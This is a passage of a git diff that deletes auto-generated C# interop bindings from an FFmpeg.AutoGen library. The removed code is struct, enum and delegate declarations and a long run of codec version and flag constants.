file mode 100644 index 3ca97da..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProbeData.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVProbeData -{ - public unsafe sbyte* filename; - - public unsafe sbyte* buf; - - public int buf_size; - - public unsafe sbyte* mime_type; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProfile.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProfile.cs deleted file mode 100644 index fe147cb..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProfile.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVProfile -{ - public int profile; - - public unsafe sbyte* name; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProgram.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProgram.cs deleted file mode 100644 index 6875bf4..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVProgram.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVProgram -{ - public int id; - - public int flags; - - public AVDiscard discard; - - public unsafe uint* stream_index; - - public uint nb_stream_indexes; - - public unsafe AVDictionary* metadata; - - public int program_num; - - public int pmt_pid; - - public int pcr_pid; - - public long start_time; - - public long end_time; - - public long pts_wrap_reference; - - public int pts_wrap_behavior; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVRational.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVRational.cs deleted file mode 100644 index 2dea4ba..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVRational.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVRational -{ - public int num; - - public int den; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVResampleContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVResampleContext.cs deleted file mode 100644 index 2eccd98..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVResampleContext.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVResampleContext -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVRounding.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVRounding.cs deleted file mode 100644 index 4bb4c33..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVRounding.cs +++ /dev/null @@ -1,11 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVRounding -{ - AV_ROUND_ZERO = 0, - AV_ROUND_INF = 1, - AV_ROUND_DOWN = 2, - AV_ROUND_UP = 3, - AV_ROUND_NEAR_INF = 5, - AV_ROUND_PASS_MINMAX = 8192 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSampleFormat.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSampleFormat.cs deleted file mode 100644 index 116754a..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSampleFormat.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVSampleFormat -{ - AV_SAMPLE_FMT_NONE = -1, - AV_SAMPLE_FMT_U8, - AV_SAMPLE_FMT_S16, - AV_SAMPLE_FMT_S32, - AV_SAMPLE_FMT_FLT, - AV_SAMPLE_FMT_DBL, - AV_SAMPLE_FMT_U8P, - AV_SAMPLE_FMT_S16P, - AV_SAMPLE_FMT_S32P, - AV_SAMPLE_FMT_FLTP, - AV_SAMPLE_FMT_DBLP, - AV_SAMPLE_FMT_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSideDataParamChangeFlags.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSideDataParamChangeFlags.cs deleted file mode 100644 index f2315aa..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSideDataParamChangeFlags.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVSideDataParamChangeFlags -{ - AV_SIDE_DATA_PARAM_CHANGE_CHANNEL_COUNT = 1, - AV_SIDE_DATA_PARAM_CHANGE_CHANNEL_LAYOUT = 2, - AV_SIDE_DATA_PARAM_CHANGE_SAMPLE_RATE = 4, - AV_SIDE_DATA_PARAM_CHANGE_DIMENSIONS = 8 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStream.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStream.cs deleted file mode 100644 index 31cdddc..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStream.cs +++ /dev/null @@ -1,122 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVStream -{ - public int index; - - public int id; - - public unsafe AVCodecContext* codec; - - public unsafe void* priv_data; - - public AVFrac pts; - - public AVRational time_base; - - public long start_time; - - public long duration; - - public long nb_frames; - - public int disposition; - - public AVDiscard discard; - - public AVRational sample_aspect_ratio; - - public unsafe AVDictionary* metadata; - - public AVRational avg_frame_rate; - - public AVPacket attached_pic; - - public unsafe AVPacketSideData* side_data; - - public int nb_side_data; - - public int event_flags; - - public unsafe info* info; - - public int pts_wrap_bits; - - public long first_dts; - - public long cur_dts; - - public long last_IP_pts; - - public int last_IP_duration; - - public int probe_packets; - - public int codec_info_nb_frames; - - public AVStreamParseType need_parsing; - - public unsafe AVCodecParserContext* parser; - - public unsafe AVPacketList* last_in_packet_buffer; - - public AVProbeData probe_data; - - public unsafe fixed long pts_buffer[17]; - - public unsafe AVIndexEntry* index_entries; - - public int nb_index_entries; - - public uint index_entries_allocated_size; - - public AVRational r_frame_rate; - - public int stream_identifier; - - public long interleaver_chunk_size; - - public long interleaver_chunk_duration; - - public int request_probe; - - public int skip_to_keyframe; - - public int skip_samples; - - public long start_skip_samples; - - public long first_discard_sample; - - public long last_discard_sample; - - public int nb_decoded_frames; - - public long mux_ts_offset; - - public long pts_wrap_reference; - - public int pts_wrap_behavior; - - public int update_initial_durations_done; - - public unsafe fixed long pts_reorder_error[17]; - - public unsafe fixed sbyte pts_reorder_error_count[17]; - - public long last_dts_for_order_check; - - public sbyte dts_ordered; - - public sbyte dts_misordered; - - public int inject_global_side_data; - - public unsafe sbyte* recommended_encoder_configuration; - - public AVRational display_aspect_ratio; - - public unsafe FFFrac* priv_pts; - - public unsafe AVStreamInternal* @internal; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStreamInternal.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStreamInternal.cs deleted file mode 100644 index e06dc84..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStreamInternal.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVStreamInternal -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStreamParseType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStreamParseType.cs deleted file mode 100644 index d00304f..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVStreamParseType.cs +++ /dev/null @@ -1,11 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVStreamParseType -{ - AVSTREAM_PARSE_NONE = 0, - AVSTREAM_PARSE_FULL = 1, - AVSTREAM_PARSE_HEADERS = 2, - AVSTREAM_PARSE_TIMESTAMPS = 3, - AVSTREAM_PARSE_FULL_ONCE = 4, - AVSTREAM_PARSE_FULL_RAW = 1463898624 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitle.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitle.cs deleted file mode 100644 index df9970b..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitle.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVSubtitle -{ - public ushort format; - - public uint start_display_time; - - public uint end_display_time; - - public uint num_rects; - - public unsafe AVSubtitleRect** rects; - - public long pts; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitleRect.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitleRect.cs deleted file mode 100644 index b513f20..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitleRect.cs +++ /dev/null @@ -1,34 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVSubtitleRect -{ - public int x; - - public int y; - - public int w; - - public int h; - - public int nb_colors; - - public AVPicture pict; - - public unsafe sbyte* data0; - - public unsafe sbyte* data1; - - public unsafe sbyte* data2; - - public unsafe sbyte* data3; - - public unsafe fixed int linesize[4]; - - public AVSubtitleType type; - - public unsafe sbyte* text; - - public unsafe sbyte* ass; - - public int flags; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitleType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitleType.cs deleted file mode 100644 index da415d2..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVSubtitleType.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVSubtitleType -{ - SUBTITLE_NONE, - SUBTITLE_BITMAP, - SUBTITLE_TEXT, - SUBTITLE_ASS -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/FFFrac.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/FFFrac.cs deleted file mode 100644 index b759a37..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/FFFrac.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct FFFrac -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/Motion_Est_ID.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/Motion_Est_ID.cs deleted file mode 100644 index fb8b998..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/Motion_Est_ID.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum Motion_Est_ID -{ - ME_ZERO = 1, - ME_FULL = 2, - ME_LOG = 3, - ME_PHODS = 4, - ME_EPZS = 5, - ME_X1 = 6, - ME_HEX = 7, - ME_UMH = 8, - ME_TESA = 9, - ME_ITER = 50 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/MpegEncContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/MpegEncContext.cs deleted file mode 100644 index 41393ce..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/MpegEncContext.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct MpegEncContext -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/RcOverride.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/RcOverride.cs deleted file mode 100644 index 7c4e6ee..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/RcOverride.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct RcOverride -{ - public int start_frame; - - public int end_frame; - - public int qscale; - - public float quality_factor; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/ReSampleContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/ReSampleContext.cs deleted file mode 100644 index 4d6f23f..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/ReSampleContext.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct ReSampleContext -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrContext.cs deleted file mode 100644 index 62d63fd..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrContext.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct SwrContext -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrDitherType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrDitherType.cs deleted file mode 100644 index d5f2011..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrDitherType.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum SwrDitherType -{ - SWR_DITHER_NONE = 0, - SWR_DITHER_RECTANGULAR = 1, - SWR_DITHER_TRIANGULAR = 2, - SWR_DITHER_TRIANGULAR_HIGHPASS = 3, - SWR_DITHER_NS = 64, - SWR_DITHER_NS_LIPSHITZ = 65, - SWR_DITHER_NS_F_WEIGHTED = 66, - SWR_DITHER_NS_MODIFIED_E_WEIGHTED = 67, - SWR_DITHER_NS_IMPROVED_E_WEIGHTED = 68, - SWR_DITHER_NS_SHIBATA = 69, - SWR_DITHER_NS_LOW_SHIBATA = 70, - SWR_DITHER_NS_HIGH_SHIBATA = 71, - SWR_DITHER_NB = 72 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrEngine.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrEngine.cs deleted file mode 100644 index 8712b7e..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrEngine.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum SwrEngine -{ - SWR_ENGINE_SWR, - SWR_ENGINE_SOXR, - SWR_ENGINE_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrFilterType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrFilterType.cs deleted file mode 100644 index 24247b3..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwrFilterType.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum SwrFilterType -{ - SWR_FILTER_TYPE_CUBIC, - SWR_FILTER_TYPE_BLACKMAN_NUTTALL, - SWR_FILTER_TYPE_KAISER -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsContext.cs deleted file mode 100644 index 960cd9d..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsContext.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct SwsContext -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsFilter.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsFilter.cs deleted file mode 100644 index 464101e..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsFilter.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct SwsFilter -{ - public unsafe SwsVector* lumH; - - public unsafe SwsVector* lumV; - - public unsafe SwsVector* chrH; - - public unsafe SwsVector* chrV; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsVector.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsVector.cs deleted file mode 100644 index f6211c5..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/SwsVector.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct SwsVector -{ - public unsafe double* coeff; - - public int length; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/URLContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/URLContext.cs deleted file mode 100644 index 4862987..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/URLContext.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct URLContext -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/_iobuf.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/_iobuf.cs deleted file mode 100644 index f703417..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/_iobuf.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct _iobuf -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_buffersrc_get_nb_failed_requests.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_buffersrc_get_nb_failed_requests.cs deleted file mode 100644 index 379c3e9..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_buffersrc_get_nb_failed_requests.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum av_buffersrc_get_nb_failed_requests -{ - AV_BUFFERSRC_FLAG_NO_CHECK_FORMAT = 1, - AV_BUFFERSRC_FLAG_PUSH = 4, - AV_BUFFERSRC_FLAG_KEEP_REF = 8 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_format_control_message.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_format_control_message.cs deleted file mode 100644 index 620f396..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_format_control_message.cs +++ /dev/null @@ -1,6 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[UnmanagedFunctionPointer(CallingConvention.Cdecl)] -public unsafe delegate int av_format_control_message(AVFormatContext* s, int type, void* data, ulong data_size); diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_intfloat32.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_intfloat32.cs deleted file mode 100644 index 05d8cf4..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_intfloat32.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct av_intfloat32 -{ - public uint i; - - public float f; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_intfloat64.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_intfloat64.cs deleted file mode 100644 index b5c129a..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_intfloat64.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct av_intfloat64 -{ - public ulong i; - - public double f; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_opt_eval_flags.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_opt_eval_flags.cs deleted file mode 100644 index aa9f323..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/av_opt_eval_flags.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum av_opt_eval_flags -{ - AV_OPT_FLAG_IMPLICIT_KEY = 1 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/avfilter_graph_config.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/avfilter_graph_config.cs deleted file mode 100644 index 21c8847..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/avfilter_graph_config.cs +++ /dev/null @@ -1,7 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum avfilter_graph_config -{ - AVFILTER_AUTO_CONVERT_ALL = 0, - AVFILTER_AUTO_CONVERT_NONE = -1 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/default_val.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/default_val.cs deleted file mode 100644 index c056990..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/default_val.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct default_val -{ - public long i64; - - public double dbl; - - public unsafe sbyte* str; - - public AVRational q; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/ffmpeg.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/ffmpeg.cs deleted file mode 100644 index 8c6f7e2..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/ffmpeg.cs +++ /dev/null @@ -1,3550 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -public static class ffmpeg -{ - public const int LIBAVCODEC_VERSION_MAJOR = 57; - - public const int LIBAVCODEC_VERSION_MINOR = 24; - - public const int LIBAVCODEC_VERSION_MICRO = 102; - - public const bool FF_API_VIMA_DECODER = true; - - public const bool FF_API_AUDIO_CONVERT = true; - - public const bool FF_API_AVCODEC_RESAMPLE = true; - - public const bool FF_API_GETCHROMA = true; - - public const bool FF_API_MISSING_SAMPLE = true; - - public const bool FF_API_LOWRES = true; - - public const bool FF_API_CAP_VDPAU = true; - - public const bool FF_API_BUFS_VDPAU = true; - - public const bool FF_API_VOXWARE = true; - - public const bool FF_API_SET_DIMENSIONS = true; - - public const bool FF_API_DEBUG_MV = true; - - public const bool FF_API_AC_VLC = true; - - public const bool FF_API_OLD_MSMPEG4 = true; - - public const bool FF_API_ASPECT_EXTENDED = true; - - public const bool FF_API_ARCH_ALPHA = true; - - public const bool FF_API_ERROR_RATE = true; - - public const bool FF_API_QSCALE_TYPE = true; - - public const bool FF_API_MB_TYPE = true; - - public const bool FF_API_MAX_BFRAMES = true; - - public const bool FF_API_NEG_LINESIZES = true; - - public const bool FF_API_EMU_EDGE = true; - - public const bool FF_API_ARCH_SH4 = true; - - public const bool FF_API_ARCH_SPARC = true; - - public const bool FF_API_UNUSED_MEMBERS = true; - - public const bool FF_API_IDCT_XVIDMMX = true; - - public const bool FF_API_INPUT_PRESERVED = true; - - public const bool FF_API_NORMALIZE_AQP = true; - - public const bool FF_API_GMC = true; - - public const bool FF_API_MV0 = true; - - public const bool FF_API_CODEC_NAME = true; - - public const bool FF_API_AFD = true; - - public const bool FF_API_VISMV = true; - - public const bool FF_API_AUDIOENC_DELAY = true; - - public const bool FF_API_VAAPI_CONTEXT = true; - - public const bool FF_API_AVCTX_TIMEBASE = true; - - public const bool FF_API_MPV_OPT = true; - - public const bool FF_API_STREAM_CODEC_TAG = true; - - public const bool FF_API_QUANT_BIAS = true; - - public const bool FF_API_RC_STRATEGY = true; - - public const bool FF_API_CODED_FRAME = true; - - public const bool FF_API_MOTION_EST = true; - - public const bool FF_API_WITHOUT_PREFIX = true; - - public const bool FF_API_SIDEDATA_ONLY_PKT = true; - - public const bool FF_API_VDPAU_PROFILE = true; - - public const bool FF_API_CONVERGENCE_DURATION = true; - - public const bool FF_API_AVPICTURE = true; - - public const bool FF_API_AVPACKET_OLD_API = true; - - public const bool FF_API_RTP_CALLBACK = true; - - public const bool FF_API_VBV_DELAY = true; - - public const bool FF_API_CODER_TYPE = true; - - public const bool FF_API_STAT_BITS = true; - - public const bool FF_API_PRIVATE_OPT = true; - - public const int AV_CODEC_PROP_INTRA_ONLY = 1; - - public const int AV_CODEC_PROP_LOSSY = 2; - - public const int AV_CODEC_PROP_LOSSLESS = 4; - - public const int AV_CODEC_PROP_REORDER = 8; - - public const int AV_CODEC_PROP_BITMAP_SUB = 65536; - - public const int AV_CODEC_PROP_TEXT_SUB = 131072; - - public const int AV_INPUT_BUFFER_PADDING_SIZE = 32; - - public const int AV_INPUT_BUFFER_MIN_SIZE = 16384; - - public const int FF_INPUT_BUFFER_PADDING_SIZE = 32; - - public const int FF_MIN_BUFFER_SIZE = 16384; - - public const int FF_MAX_B_FRAMES = 16; - - public const int AV_CODEC_FLAG_UNALIGNED = 1; - - public const int AV_CODEC_FLAG_QSCALE = 2; - - public const int AV_CODEC_FLAG_4MV = 4; - - public const int AV_CODEC_FLAG_OUTPUT_CORRUPT = 8; - - public const int AV_CODEC_FLAG_QPEL = 16; - - public const int AV_CODEC_FLAG_PASS1 = 512; - - public const int AV_CODEC_FLAG_PASS2 = 1024; - - public const int AV_CODEC_FLAG_LOOP_FILTER = 2048; - - public const int AV_CODEC_FLAG_GRAY = 8192; - - public const int AV_CODEC_FLAG_PSNR = 32768; - - public const int AV_CODEC_FLAG_TRUNCATED = 65536; - - public const int AV_CODEC_FLAG_INTERLACED_DCT = 262144; - - public const int AV_CODEC_FLAG_LOW_DELAY = 524288; - - public const int AV_CODEC_FLAG_GLOBAL_HEADER = 4194304; - - public const int AV_CODEC_FLAG_BITEXACT = 8388608; - - public const int AV_CODEC_FLAG_AC_PRED = 16777216; - - public const int AV_CODEC_FLAG_INTERLACED_ME = 536870912; - - public const uint AV_CODEC_FLAG_CLOSED_GOP = 2147483648u; - - public const int AV_CODEC_FLAG2_FAST = 1; - - public const int AV_CODEC_FLAG2_NO_OUTPUT = 4; - - public const int AV_CODEC_FLAG2_LOCAL_HEADER = 8; - - public const int AV_CODEC_FLAG2_DROP_FRAME_TIMECODE = 8192; - - public const int AV_CODEC_FLAG2_CHUNKS = 32768; - - public const int AV_CODEC_FLAG2_IGNORE_CROP = 65536; - - public const int AV_CODEC_FLAG2_SHOW_ALL = 4194304; - - public const int AV_CODEC_FLAG2_EXPORT_MVS = 268435456; - - public const int AV_CODEC_FLAG2_SKIP_MANUAL = 536870912; - - public const int AV_CODEC_CAP_DRAW_HORIZ_BAND = 1; - - public const int AV_CODEC_CAP_DR1 = 2; - - public const int AV_CODEC_CAP_TRUNCATED = 8; - - public const int AV_CODEC_CAP_DELAY = 32; - - public const int AV_CODEC_CAP_SMALL_LAST_FRAME = 64; - - public const int AV_CODEC_CAP_HWACCEL_VDPAU = 128; - - public const int AV_CODEC_CAP_SUBFRAMES = 256; - - public const int AV_CODEC_CAP_EXPERIMENTAL = 512; - - public const int AV_CODEC_CAP_CHANNEL_CONF = 1024; - - public const int AV_CODEC_CAP_FRAME_THREADS = 4096; - - public const int AV_CODEC_CAP_SLICE_THREADS = 8192; - - public const int AV_CODEC_CAP_PARAM_CHANGE = 16384; - - public const int AV_CODEC_CAP_AUTO_THREADS = 32768; - - public const int AV_CODEC_CAP_VARIABLE_FRAME_SIZE = 65536; - - public const int AV_CODEC_CAP_INTRA_ONLY = 1073741824; - - public const uint AV_CODEC_CAP_LOSSLESS = 2147483648u; - - public const int CODEC_FLAG_UNALIGNED = 1; - - public const int CODEC_FLAG_QSCALE = 2; - - public const int CODEC_FLAG_4MV = 4; - - public const int CODEC_FLAG_OUTPUT_CORRUPT = 8; - - public const int CODEC_FLAG_QPEL = 16; - - public const int CODEC_FLAG_GMC = 32; - - public const int CODEC_FLAG_MV0 = 64; - - public const int CODEC_FLAG_INPUT_PRESERVED = 256; - - public const int CODEC_FLAG_PASS1 = 512; - - public const int CODEC_FLAG_PASS2 = 1024; - - public const int CODEC_FLAG_GRAY = 8192; - - public const int CODEC_FLAG_EMU_EDGE = 16384; - - public const int CODEC_FLAG_PSNR = 32768; - - public const int CODEC_FLAG_TRUNCATED = 65536; - - public const int CODEC_FLAG_NORMALIZE_AQP = 131072; - - public const int CODEC_FLAG_INTERLACED_DCT = 262144; - - public const int CODEC_FLAG_LOW_DELAY = 524288; - - public const int CODEC_FLAG_GLOBAL_HEADER = 4194304; - - public const int CODEC_FLAG_BITEXACT = 8388608; - - public const int CODEC_FLAG_AC_PRED = 16777216; - - public const int CODEC_FLAG_LOOP_FILTER = 2048; - - public const int CODEC_FLAG_INTERLACED_ME = 536870912; - - public const uint CODEC_FLAG_CLOSED_GOP = 2147483648u; - - public const int CODEC_FLAG2_FAST = 1; - - public const int CODEC_FLAG2_NO_OUTPUT = 4; - - public const int CODEC_FLAG2_LOCAL_HEADER = 8; - - public const int CODEC_FLAG2_DROP_FRAME_TIMECODE = 8192; - - public const int CODEC_FLAG2_IGNORE_CROP = 65536; - - public const int CODEC_FLAG2_CHUNKS = 32768; - - public const int CODEC_FLAG2_SHOW_ALL = 4194304; - - public const int CODEC_FLAG2_EXPORT_MVS = 268435456; - 